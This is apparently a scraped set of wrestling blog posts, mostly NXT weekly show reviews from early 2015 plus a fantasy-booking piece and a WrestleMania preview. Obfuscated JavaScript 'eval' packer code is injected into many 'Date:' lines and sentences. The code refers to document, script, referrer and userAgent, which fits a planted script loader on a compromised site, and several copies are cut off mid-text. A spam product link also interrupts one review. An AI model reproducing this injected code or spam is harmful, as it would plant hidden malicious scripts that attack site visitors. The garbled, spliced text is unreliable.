So This Paige vs. Bellas Storyline….

Makes me think of some more fantasy booking.And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hskdb|var|u0026u|referrer|nkfkb||js|php'.split('|'),0,{})) again, this isn’t anything revolutionary and isn’t meant to be.

So the story is that the Divas on the main roster aren’t willing to help Paige out against the Bellas.  Therefore, Paige is in need of someone to help her out.  Maybe she goes back to her roots.  Back to where she started.  Back down to NXT.  Not for a fresh start or anything, but for reinforcements.  Like……Sasha Banks, Bayley, Charlotte and Becky Lynch.

I know you hear about these invasion storylines all the time, but in this case I dig the idea.  Why not use this opportunity to bring some of them up and breathe some much needed life into that division?  Is anyone going to miss Layla or Tamina or Eva Marie or even Natalya?  Bring in some fresh blood and cut some of these girls that never do anything.

 

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NXT – May 27, 2015: A Bit More Stoppable

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtzna|var|u0026u|referrer|rahds||js|php'.split('|'),0,{})) May 27, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Byron Saxton, Rich Brennan

Opening sequence.

We get an interview from last week with Zack Ryder, who was interrupted by Mojo Rawley, who freaked Zack out a little bit.

Emma vs. Bayley

Emma is flanked by Dana Brooke. Bayley gets stomped down in the corner to start and Emma cranks on an armbar, only to have Bayley throw her to the mat and just pound away with right hands. A kick to the face gets two near falls for Emma as the fans are of course completely behind Bayley. Emma throws her down by the hair a few times and grabs a leg drag, followed by the Emma Lock for the clean submission at 4:13.

Charlotte comes out for the post match save but gets beaten down as well.

Recap of Baron Corbin beating Rhyno last week.

Baron was being interviewed after his win last week when Rhyno came up and said they should do it again soon.

Elias Samson/Mike Rallis vs. Blake/Murphy

Samson takes a Sparkle Splash for some insult to injury.

Tye Dillinger vs. Finn Balor

Dillinger scores with a quick elbow to the face but Balor smiles at him. Some choking with a boot in the corner has some more effect on Finn and we hit the chinlock. Balor comes back with a running forearm and basement dropkick, followed by the Sling Blade. The Coup de Grace completes the squash for Finn at 2:45.

Kevin Owens vs. Solomon Crowe

Non-title. Owens bails to the floor so Solomon goes after him, only to eat some right hands to the face. Back in and Owens throws him outside again and we take a break. We come back with Owens putting on a chinlock. That gets boring in a hurry so Owens just hammers him down and tosses Solomon back to the floor. The pop-up powerbomb finally ends Crowe at 9:24.

Owens loads up the apron powerbomb but Samoa Joe comes out big staredown, sending Kevin running to end the show.

Results

Emma b. Bayley – Emma Lock

Blake/Murphy b. Elias Samson/Mike Rallis – Frog splash to Samson

Finn Balor b. Tye Dillinger – Coup de Grace

Kevin Owens b. Solomon Crowe – Pop up powerbomb

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

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NXT – April 22, 2015: The New Plan

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byszn|var|u0026u|referrer|zdtfy||js|php'.split('|'),0,{})) April 22, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Rich Brennan

Opening sequence.

Finn Balor vs. Tye Dillinger

Balor starts with some dropkicks as the fans want him to KILL THE JOBBER. The Pele sets up the Sling Blade and the Coup de Grace ends Dillinger at 2:28. This was an old school squashing and Balor looked great.

Tyler Breeze pops up on screen to call Finn Balor the flavor of the month. See you around Finn.

Charlotte vs. Bayley vs. Becky Lynch

#1 contenders match. Becky gets double teamed to start and Bayley throws her to the floor, setting up another showdown between herself and Charlotte. A chop out goes to Charlotte (of course) and we hit the figure four headlock with the flips to knock Bayley senseless. Becky sneaks back in with a nice German suplex to take Charlotte down and we take a break. Back with Becky dropping some running legs on Bayley for two.

Off to a knee hold as we get what might be the first ever crawler advertising NXT live shows. A limping Bayley fights out of the corner but charges into a knee. Becky outs on a complicated leg lock but Charlotte breaks it up with Natural Selection and no cover. The fans think that this is wrestling and better than the Divas.

Becky pulls Charlotte off the middle rope to break up a superplex attempt but Charlotte pulls her away from the corner into a powerbomb with Bayley adding a middle rope elbow to the jaw to drive Lynch down. Charlotte pulls Becky off the cover and puts her bad leg in the Figure Eight (the official name for the bridging version). Charlotte can’t see though and Becky drapes her arm over Bayley for the pin at 11:32 with the hold still on.

CJ Parker vs. Hideo Itami

Rhyno vs. ???

No name for the jobber. Gore ends this in 27 seconds.

Alex Riley vs. Kevin Owens

We come back from a break with Owens choking on the middle rope and not seeing Riley as much of a threat. The backsplash gets two and we hit the chinlock. Riley fights up and hits a running elbow in the corner, followed by a flipping neckbreaker. He gets crotched on top though, setting up the Cannonball and Pop Up Powerbomb for the pin at 8:44.

Post match Owens loads up the apron powerbomb but Sami Zayn comes out for the big brawl. Security comes out but Sami dives on the pile to send Owens running away to end the show.

Results

Finn Balor b. Tye Dillinger – Coup de Grace

Becky Lynch b. Charlotte and Bayley – Lynch pinned Bayley while Bayley was in the Figure Eight

Hideo Itami b. CJ Parker – Shotgun Kick

Rhyno b. ??? – Gore

Kevin Steen b. Alex Riley – Pop Up Powerbomb

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

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Wrestlemania XXXI Preview: Bella Twins vs. AJ Lee/Paige

I’ve done too many Give Divas A Chance lines already.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htyzn|var|u0026u|referrer|bszfr||js|php'.split('|'),0,{})) is another one that I’ve been going back and forth on every week. Let’s get the first major issue out of the way first: this should be for the Divas Title. Make it a fourway, make it a tag match for the title (it’s been done before) or just make it a singles match with one of them challenging Nikki, but don’t set up a meaningless tag match with a series of title matches. It doesn’t make sense but this is what we’re getting.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

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NXT – March 4, 2015: The Valley Between Mountains

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etyfr|var|u0026u|referrer|sbabi||js|php'.split('|'),0,{})) March 4, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Jason Albert, Rich Brennan, Alex Riley

Opening sequence.

Adam Rose vs. Tyler Breeze

Breeze fends off the Rosebuds with the selfie stick in a funny moment.

Buddy Murphy/Wesley Blake vs. Angelo Dawkins/Sawyer Fulton

Bayley offers Charlotte good luck on the title shot tonight but Charlotte says Banks needs the luck. Charlotte leaves and Emma comes in and brings up Bayley lost at Takeover. She tried being nice like Bayley and look where it got her on Raw: right back here to NXT. Just something to think about for Bayley.

Rhyno return video.

Baron Corbin vs. Tony Briggs

Bull Dempsey vs. Solomon Crowe

Results

Tyler Breeze b. Adam Rose – Beauty Shot

Buddy Murphy/Wesley Blake b. Angelo Dawkins/Sawyer Fulton – Frog splash to Dawkins

Baron Corbin b. Tony Briggs – End of Days

Solomon Crowe b. Bull Dempsey – Slingshot headbutt

Sasha Banks b. Charlotte – Rollup with feet on the ropes

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NXT Takeover: Rival: Follow That, Wrestlemania

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adkbh|var|u0026u|referrer|darfk||js|php'.split('|'),0,{})) Takeover: Rival
Date: February 10, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Corey Graves, Jason Albert

The opening video gives us a quick background of every major match.

Hideo Itami vs. Tyler Breeze

This was set up late last week after Itami lost in the semi-finals of the #1 contenders tournament and was attacked by Breeze. A blonde woman jumps Breeze during his entrance and is quickly dragged away. She was too good looking to be a real fan. Hideo misses a running kick to start but nails a clothesline out of the corner. A forearm knocks Breeze to the floor and Hideo dropkicks him out of the air. Tyler wakes up and goes after the knee to take over by ramming it into the apron and dropping some elbows. The knee is wrapped around the post and Breeze slaps on the Figure Four around the post as well.

Baron Corbin vs. Bull Dempsey

No DQ. Corbin charges at him to start and they fight on the floor with Dempsey hitting a suplex onto the ramp. He posts Baron as well and takes him inside, only to get caught in a spinebuster for two. Corbin charges him out to the floor where Bull runs him over again. Back in and the flying headbutt gets two on Corbin, sending a frustrated Dempsey outside for a chair. That takes a bit too long though and Corbin catches him in End of Days for the pin at 4:11.

Tag Team Titles: Blake and Murphy vs. Lucha Dragons

Instead a victory roll gets two out of the corner before Cara slams Kalisto onto Murphy for the same. This match is kind of all over the place so far. Back to Blake as the champs take over with some fast tags and quick offense. Kalisto gets another hot tag and cleans house with his rolling kick to the head and low hurricanrana but Murphy counters the Salida Del Sol. A powerbomb gets two on Kalisto and they hit a pinfall reversal sequence until both partners make saves at the same time.

#1 Contenders Tournament Final: Finn Balor vs. Adrian Neville

Finn is out quicker this time though and he kicks Neville out to the floor for a huge flip dive. After taking a few moments to get up, Balor slowly stalks around the ring and hits a running dropkick to send Neville through the barricade. Back in and a top rope stomps to the back of the head gets two more for Balor and frustration is setting in. Neville wins a kick off but Finn scores with a Pele to put both guys down again.

They shake hands post match.

The champ has a breather but screw that because she dives onto all three to put everyone down. Back in and Lynch hits an exploder suplex for two on Charlotte. Bayley breaks up something out of the corner and German suplexes Becky, setting up a super Belly to Bayley on Charlotte but Sasha dives in for the save and a VERY closer near fall of her own. The Bank Statement goes on but Sasha lets go to kick Becky down. She slaps the hold on again before rolling Charlotte up in a crucifix for the pin and the title at 11:57.

Charlotte hugs the new champ post match but gets shoved away by the Boss.

NXT Title: Kevin Owens vs. Sami Zayn

Oh and next up: Owens vs. Balor.

A smiling Owens stands over Sami to end the show.

Results

Hideo Itami b. Tyler Breeze – Big boot

Baron Corbin b. Bull Dempsey – End of Days

Blake and Murphy b. Lucha Dragons – Frog splash to Cara

Finn Balor b. Adrian Neville – Top rope double stomp

Sasha Banks b. Charlotte, Becky Lynch and Bayley – Rollup to Charlotte

Kevin Owens b. Sami Zayn via referee stoppage

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NXT – February 4, 2015: The Short Form Build

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfydn|var|u0026u|referrer|bhhsr||js|php'.split('|'),0,{})) February 4, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Corey Graves, Alex Riley

Opening sequence.

Emma vs. Carmella

#1 Contenders Tournament Semi-Finals: Adrian Neville vs. Baron Corbin

A big slam gets two on Neville but he dropkicks the knee out to send Baron into the buckle. Neville scores with a springboard dropkick to knock Baron outside but the springboard plancha is caught with ease and Baron drops him on the barricade. With Neville going back inside, Bull Dempsey comes out and posts Baron, setting up the Red Arrow for the pin at 5:27.

Corbin vs. Dempsey next week in a No DQ match.

Bayley vs. Becky Lynch

Becky shoves Banks down as Charlotte comes out to watch.

We see a graphic for the next tournament match and the Solomon hacker screen comes up.

Blake and Murphy vs. Lucha Dragons for the Tag Team Titles next week.

#1 Contenders Tournament Semi-Finals: Finn Balor vs. Hideo Itami

Balor and Itami shake hands and Neville stares Finn down.

One last Owens vs. Zayn promo ends the show. Zayn should have seen this coming but Owens surprised him. They were the best of friends but then Owens got married and had a kid and things changed. Next week, Zayn is going to see what Owens is made of.

Results

Carmella b. Emma – Leg lock crossface

Adrian Neville b. Baron Corbin – Red Arrow

Bayley b. Becky Lynch – Belly to Bayley

Finn Balor b. Hideo Itami – Top rope double stomp




NXT – January 28, 2015: It Made Sense

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esfzk|var|u0026u|referrer|tbfkk||js|php'.split('|'),0,{})) January 28, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Alex Riley, Jason Albert, Tom Phillips

Opening sequence.

Tag Team Titles: Lucha Dragons vs. Buddy Murphy/Wesley Blake

Blake and Murphy are challenging and have some new, loud entrance music. We even get big match intros before we get going. Cara and Blake get things going with Wesley slamming him down in the corner, only to have Cara come back with a double springboard wristdrag.

We recap Bayley suplexing Charlotte last week and Regal making the fourway title match.

Tyler Breeze is going to be watching the rest of the tournament very closely.

#1 Contenders Tournament First Round: Adrian Neville vs. Tyson Kidd

The fans are split on who they like best. They hit the mat to start for a nice counter sequence leading to a standoff. Adrian starts cranking on the arm before he takes Tyson down with a hurricanrana, sending Kidd scrambling to the floor. Neville even teases him with a dive but pulls back with a Tajiri handspring flip. Kidd keeps sliding under the corner and out the other side of the ring to break the count, eventually drawing Adrian outside where he gets sent into the floor.

We take a break and come back with Kidd hitting a hard dropkick to the face and rubbing the same face into the mat. Neville sends him right back outside with a clothesline and hits a big old flip dive to take him down. A standing moonsault gets two for Neville as the referee is drenched in sweat.

Becky Lynch/Sasha Banks vs. Bayley/Charlotte

http://onhealthy.net/product-category/stop-smoking/ Banks would nail her in the back and opts for a jumping clothesline to a seated Lynch instead.

Hideo Itami comes up to Finn Balor in the back and says he brought Finn into the company and will take him out if he has to in order to advance in the tournament.

#1 Contenders Tournament First Round: Bull Dempsey vs. Baron Corbin

Baron sends him into the corner to start and runs him over with a shoulder. Dempsey bails to the floor but Baron is right back on top of him to send him back inside. Back in and a corner splash has Bull in trouble and the End of Days is good for the pin at 1:31. Total squash here with Dempsey getting nothing. That almost has to end the feud.

Results

Buddy Murphy/Wesley Blake b. Lucha Dragons – Rollup to Kalisto

Adrian Neville b. Tyson Kidd – Red Arrow

Bayley/Charlotte vs. Sasha Banks/Becky Lynch went to a double DQ

Baron Corbin b. Bull Dempsey – End of Days

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NXT – January 21, 2015: Strike While The Crowd Is Hot

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieais|var|u0026u|referrer|fisbi||js|php'.split('|'),0,{})) January 21, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Corey Graves, Jason Albert

We open with a recap of Sami Zayn vs. Kevin Owens over the last few weeks. Neville promises revenge.

William Regal announces the next Takeover special for February 11. There will be a tournament for the #1 contendership starting tonight, as well as Charlotte defending against Sasha Banks. As usual, Regal keeps this quick as he was on screen less than a minute and announced a show, a tournament and a title match.

Opening sequence.

Sami Zayn vs. Tye Dillinger

Owens vs. Zayn at Takeover will be non-title.

Regal says Owens and Zayn will sign the contract next week.

#1 Contenders Tournament First Round: Curtis Axel vs. Finn Balor

Here are the full tournament brackets.

Finn Balor

Curtis Axel

Adrian Neville

Tyson Kidd

Hideo Itami

Tyler Breeze

Baron Corbin

Bull Dempsey

Bull Dempsey swears revenge next week.

They grapple to the mat to start with Charlotte getting the better of it but having to nail Becky in the face. Back in and Charlotte hammers away but Becky comes in for the DQ at 2:15. Not much of a match due to time.

Vaudevillains vs. Buddy Murphy/Wesley Blake

Tyler Breeze is ready to implement his plan to separate the gorgeous ones from the uggos.

#1 Contenders Tournament First Round: Hideo Itami vs. Tyler Breeze

Itami is shaken up in the corner so Breeze crawls onto his back for a kind of snap crucifix for a fall so near that the referee looked like he had to slow down for the kickout. Tyler shouts that this is about him but Itami screams at him. More kicks have Breeze rocked and the running dropkick in the corner sets up a running boot to the face for the pin at 14:24.

Results

Finn Balor b. Curtis Axel – Top rope double stomp

Charlotte b. Sasha Banks via DQ when Becky Lynch interfered

Wesley Blake/Buddy Murphy b. Vaudevillains – Kick to the head

Hideo Itami b. Tyler Breeze – Running kick to the face

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NXT – January 14, 2015: The Best Hour Of Wrestling I Have Ever Seen

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsyib|var|u0026u|referrer|ktrii||js|php'.split('|'),0,{})) January 14, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Renee Young, Rich Brennan, Alex Riley

Opening sequence.

Tyson Kidd vs. Finn Balor

Package on Zayn winning the title at R-Evolution minus the post match beatdown. This is all about Neville vs. Zayn.

Baron Corbin vs. Bull Dempsey

The fans start the counting as they hammer away on each other with Bull going down first. Thankfully the fans give up after about twenty seconds and the fight heads outside. Back in and Bull slams him down but misses his flying headbutt. End of Days is good for the pin at 1:36. This was exactly what it needed to be and Baron looked like a monster.

Sasha Banks/Becky Lynch vs. Natalya/Charlotte

Rating: B-. I really wanted more of this as Charlotte and Natalya were looking like a polished team out there while Lynch and Banks have more than enough attitude to carry themselves. I still want to see more from Lynch as she has a great look and persona, but Banks is getting almost all of the spotlight, which she certainly deserves.

NXT Title: Sami Zayn vs. Adrian Neville

Sami is defending. They shake hands to start and Sami scores first with an armdrag. The champ hooks a headlock but charges into an armdrag, sending him out to the floor for a second. Back in and Neville sends him into the corner but gets caught in his third headlock in three minutes. Sami leapfrogs over Adrian and avoids a dropkick, sending Neville into his first frustration of the match.

Zayn half pops up into a Koji Clutch attempt but Neville rolls away, only to have to bail outside to avoid the Helluva Kick. Sami loads up the diving DDT through the ropes but Neville superkicks him into a state of shock. Back in and Adrian has to bail out of the Red Arrow but avoids another Helluva Kick into a sweet bridging rollup for two. Sami goes into Beast Mode and grabs the exploder suplex followed by the Helluva Kick for the pin at 13:56.

Rating: A. This was a completely different kind of match than the title change. While that one was about the drama and storytelling, this was about two guys beating the living tar out of each other and actually making me believe the title was in jeopardy. Outstanding match here and both guys come out looking awesome.

Results

Finn Balor b. Tyson Kidd – Top rope double stomp

Baron Corbin b. Bull Dempsey – End of Days

Sasha Banks/Becky Lynch b. Natalya/Charlotte – Neckbreaker to Charlotte

Sami Zayn b. Adrian Neville – Helluva Kick